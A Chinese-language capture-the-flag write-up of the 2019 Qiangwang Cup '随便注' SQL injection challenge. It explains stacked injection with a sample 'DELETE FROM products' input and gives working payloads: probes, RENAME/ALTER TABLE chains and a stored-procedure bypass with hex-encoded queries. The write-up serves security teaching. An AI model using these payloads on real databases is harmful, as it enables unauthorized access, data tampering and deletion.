【强网杯2019】随便注


复现:  buu   知识点:
  1. 堆叠注入:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
  2. show databases;  show tables;  show columns from sometable;
  3. 反引号在MySQL中用来标记出 SQL语句中的  数据库名/表名/列名
  4. MySQL修改表名列名:      将table1的表名改为table2:  RENAME TABLE `table1` TO `table2` ;        将table表中flag列名改为id :    ALTER TABLE `table` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL; 
          解题:     可以看到查询页面返回了一些数据   输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了   试一下1’ or 1=1 #     可以看到返回了数据   正常流程,order by     可以看到order by 2的时候是正常回显了,order by 3就出错了,只有2个字段   这时候用union select进行联合查询     返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了   这时候想到堆叠注入,试一下     可以看到成功了,存在堆叠注入,   我们再直接show tables来查询下,试下能不能查询出表     可以看到有两张表,下面分别来看下两张表有什么字段   0’; show columns from words ;#   0’; show columns from `1919810931114514`;#     可以看到1919810931114514中有我们想要的flag字段   因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢   方法一   他既然没过滤 alter 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。 先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。 这样就可以让程序直接查询出 flag 了   payload:   1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#   最后用 1′ or ‘1’=’1 访问一下:       方法二   存储过程 + 预编译         题目要求我们 set 和prepare 不能同时使用 。所以set  @a=0x.... ; prepare ctftest from @a; execute ctftest; 就不适用了。   我们需要借助存储过程过渡一下  先创建个存储过程再调用   payload:   (1)show tables; (2)select * from `1919810931114514`;   先执行: create procedure `vege`(out string text(1024)) BEGIN    SET  string= 0x73686F77207461626C65733B; END; ;#   再执行: call `vege`(@a); prepare ctftest from @a; execute ctftest;#
CTF